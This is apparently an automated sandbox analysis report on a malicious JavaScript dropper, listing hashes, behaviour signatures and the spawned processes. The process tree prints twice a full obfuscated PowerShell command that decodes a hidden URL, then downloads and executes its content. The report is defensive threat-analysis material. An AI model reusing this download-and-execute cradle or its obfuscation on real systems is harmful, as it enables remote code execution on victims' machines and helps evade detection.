Analysis

  • max time kernel
    96s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2024, 14:45

General

  • Target

    fa10eb739f1d697be31cf23ab10332972a7e43413f48e8324cb45b2350e353fc.js

  • Size

    188KB

  • MD5

    12e23ec48ad0386ed948b2d2b11c4dcf

  • SHA1

    3c5f14a0ba6f3b6a586ad16f31175e592f3aeeb1

  • SHA256

    fa10eb739f1d697be31cf23ab10332972a7e43413f48e8324cb45b2350e353fc

  • SHA512

    32335ae27614bfdebbfc1d17f7717c6c8a26dada9fac14baaecbafc45d71e6bc33f1c37e07316521fd7f5d6d8d99ba20d3167f24a290250a2cefdcb7ed2561d7

  • SSDEEP

    1536:nw61WyMW/kIeCMcGWJQYK4u9WEwSEmP4/OKkIeCMcGWJQFK4u9WEwSEmP4/O5K4F:n6ctltCtIt7

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fa10eb739f1d697be31cf23ab10332972a7e43413f48e8324cb45b2350e353fc.js
    1⤵
      PID:748
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $zxsjrkpqfwb='ur' ;new-alias printout c$($zxsjrkpqfwb)l;$hbfyao=(7292,7303,7311,7295,7297,7292,7312,7311,7316,7249,7311,7245,7292,7240,7310,7305,7306,7241,7243,7240,7306,7298,7306,7257,7309,7255,7303,7299,7304,7310,7309,7244,7243);$pyfmqeg=('bronx','get-cmdlet');$hsaokitvbwnx=$hbfyao;foreach($wlboeinsrm in $hsaokitvbwnx){$blxotegcfu=$wlboeinsrm;$rpktvlhfxmq=$rpktvlhfxmq+[char]($blxotegcfu-7194);$vmauiqe=$rpktvlhfxmq; $yvwirdnebf=$vmauiqe};$gnotqk[2]=$yvwirdnebf;$phajrfoqyxm='rl';$zkldtisxyrf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvwirdnebf)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $zxsjrkpqfwb='ur' ;new-alias printout c$($zxsjrkpqfwb)l;$hbfyao=(7292,7303,7311,7295,7297,7292,7312,7311,7316,7249,7311,7245,7292,7240,7310,7305,7306,7241,7243,7240,7306,7298,7306,7257,7309,7255,7303,7299,7304,7310,7309,7244,7243);$pyfmqeg=('bronx','get-cmdlet');$hsaokitvbwnx=$hbfyao;foreach($wlboeinsrm in $hsaokitvbwnx){$blxotegcfu=$wlboeinsrm;$rpktvlhfxmq=$rpktvlhfxmq+[char]($blxotegcfu-7194);$vmauiqe=$rpktvlhfxmq; $yvwirdnebf=$vmauiqe};$gnotqk[2]=$yvwirdnebf;$phajrfoqyxm='rl';$zkldtisxyrf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvwirdnebf)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1532

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o21ezpvk.rrz.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1532-0-0x00007FFD55DD3000-0x00007FFD55DD5000-memory.dmp

            Filesize

            8KB

          • memory/1532-10-0x000001C2FEAD0000-0x000001C2FEAF2000-memory.dmp

            Filesize

            136KB

          • memory/1532-11-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

            Filesize

            10.8MB

          • memory/1532-12-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

            Filesize

            10.8MB

          • memory/1532-13-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

            Filesize

            10.8MB

          • memory/1532-14-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

            Filesize

            10.8MB

          • memory/1532-15-0x00007FFD55DD3000-0x00007FFD55DD5000-memory.dmp

            Filesize

            8KB

          • memory/1532-16-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

            Filesize

            10.8MB

          • memory/1532-19-0x00007FFD55DD0000-0x00007FFD56891000-memory.dmp

            Filesize

            10.8MB